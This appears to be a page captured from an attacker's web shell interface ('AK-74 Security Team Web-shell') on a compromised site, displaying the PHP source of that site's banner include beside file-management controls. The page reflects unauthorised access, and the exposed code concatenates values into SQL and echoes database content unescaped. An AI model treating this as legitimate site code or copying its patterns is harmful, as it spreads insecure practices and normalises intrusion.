.:: :[ AK-74 Security Team Web-shell ]: ::.
phpinfo()
PHP
<link href="/css/floatPopup.css" rel="stylesheet" type="text/css"> <div id="topbar-left" style="<?php echo 'display:none'?>"> <div align="right" style="font-size:8pt;"><a href="#" onclick="$('topbar-left').style.display='none'; return false;"><b>x</b></a></div> <div align="right"><table width="120" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="120"><?php $a_exists_side_left = array(); $counter = $sideBannerHeight = 0; $showBanner = 3; $banner_group_id = 3; // Banner Side Right $showDefaultBanner = 3; // ถ้า Banner ในระบบไม่ถึงจำนวนนี้ จะสร้าง Banner Default ขึ้นมา ให้ครบตามจำนวนนี้ $banner_group_id = 3; $showLimitBanner = 3; // จำนวน Banner ที่จะดึงออกมาจาก Database (0 คือไม่จำกัด) $sql_group = " SELECT sort_by, banner_type, banner_width, banner_height FROM banner_group WHERE banner_group_id = '".$banner_group_id."' AND banner_group.enable = 1 "; $query_group = sql_query($sql_group); if (sql_num_rows($query_group) > 0) { $rec_group = sql_fetch_array($query_group); $nowDate = @date("Y-m-d"); $sql_right = " SELECT banner.banner_id AS banner_id, image, link, description$fieldLang AS description FROM banner WHERE banner_group_id = '".$banner_group_id."' AND banner.enable = 1 AND start_date <= '" . $nowDate . "' AND stop_date >= '" . $nowDate . "' "; if ($rec_group['sort_by'] == 'Random') $sql_right .= " ORDER BY RAND() "; else $sql_right .= " ORDER BY rank "; if ($showLimitBanner > 0) { $sql_right .= " LIMIT 0, " . $showLimitBanner . " "; } $query_right = sql_query($sql_right); if (sql_num_rows($query_right) > 0) { while ($rec_right = sql_fetch_array($query_right)) { $thisPath = $configWebsiteName.'uploads/banner/'.$rec_right['image']; if ( $rec_right['image'] != '' ) { echo '<div style="padding-bottom:2px">'; $a_exists_side_left[] = $rec_right['banner_id']; $counter++; $link = ''; $linkToOutSite = false; if ($rec_right['link'] != '') { if (preg_match('/http:\/\//i', $rec_right['link'])) $rec_right['link'] = str_ireplace('http://', '', $rec_right['link']); $link = $rec_right['link']; $linkToOutSite = true; } // end if ($rec['link'] != '') { if ($rec_group['banner_type'] == 'Text') { if ($link != '') { if ($linkToOutSite) echo '<a href="/redirectLink.php?l=' . urldecode($link) . '" target="_blank">'; else echo '<a href="' . $link . '" target="_blank">'; } // end if ($link != '') { echo $rec_right['description']; if ($link != '') echo '</a>'; } elseif ($rec_group['banner_type'] == 'Banner') { // end if ($rec_group['banner_type'] == 'Text') { if ( $rec_right['image'] != '' ) { $thisPath = 'uploads/banner/' . $rec_right['image']; $aSize = @getimagesize($thisPath); $width = $rec_group['banner_width']; $height = $rec_group['banner_height']; $aSize[0] = ((int)$aSize[0] > $width)?$width:(int)$aSize[0]; $aSize[1] = ((int)$aSize[1] > $height)?$height:(int)$aSize[1]; $aType = explode(".",$rec_right['image']); $stype = $aType[count($aType)-1]; if ($stype == 'html') { ?> <iframe style="width:<?php echo $rec_group['banner_width']?>px; height:<?php echo $rec_group['banner_height']?>px; border:none;" scrolling="no" src="/<?php echo $thisPath?>"></iframe> <?php } elseif ($stype != 'swf') { // end if ($stype == 'html') { if ($link == '') { echo '<img src="'.$thisPath.'" width="'.$aSize[0].'" height="'.$aSize[1].'" border="0">'; } else { // end if ($link == '') { if ($linkToOutSite) echo '<a href="/redirectLink.php?l=' . urldecode($link) . '" target="_blank">'; else echo '<a href="' . $link . '" target="_blank">'; echo '<img src="/'.$thisPath.'" width="'.$aSize[0].'" height="'.$aSize[1].'" border="0">'; echo '</a>'; } // if ($link == '') { } else { // end if ($stype != 'swf') { ?> <script type="text/javascript"> AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','<?php echo $aSize[0]?>','height','<?php echo $aSize[1]?>','src','/<?php echo mb_substr($thisPath,0,-4,'utf8')?>','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','/<?php echo mb_substr($thisPath,0,-4,'utf8')?>','wmode','transparent' ); //end AC code </script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="<?php echo $aSize[0]?>" height="<?php echo $aSize[1]?>"> <param name="movie" value="/<?php echo $thisPath?>" /> <param name="quality" value="high" /> <embed src="/<?php echo $thisPath?>" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="<?php echo $aSize[0]?>" height="<?php echo $aSize[1]?>"></embed> </object></noscript> <?php } // if ($stype != 'swf') { } // end if ( $rec_right['image'] != '' ) { } // end elseif ($rec_group['banner_type'] == 'Banner') { echo '</div>'; } // end if ( $rec_right['image'] != '' ) { } // end while } // end if (sql_num_rows($query_right) > 0) { for ($i=$counter; $i<$showBanner; $i++) { $sideBannerHeight += ($configBannerHeight["$banner_group_id"]+4); ?><div style="padding-bottom:2px"><script type="text/javascript"> AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','120','height','190','src','/images/slide-ladyboy2','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','/images/slide-ladyboy2','wmode','transparent' ); //end AC code </script><noscript><object codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="120" height="190"> <param name="movie" value="/images/slide-ladyboy2.swf" /> <param name="quality" value="high" /> <embed src="/images/slide-ladyboy2.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="120" height="190"></embed> </object></noscript></div><?php } // end for } // end if (sql_num_rows($query_group) > 0) { ?></td> </tr> </table></div> </div> <script type="text/javascript"> var x = getAtElementObj(document.getElementById('refreshLeft'), 'x')-62; var y = getAtElementObj(document.getElementById('refreshLeft'), 'y')-3; document.getElementById('topbar-left').style.left=x+"px"; document.getElementById('topbar-left').style.top=y+"px"; document.getElementById('topbar-left').style.display=''; </script>
Rename:
-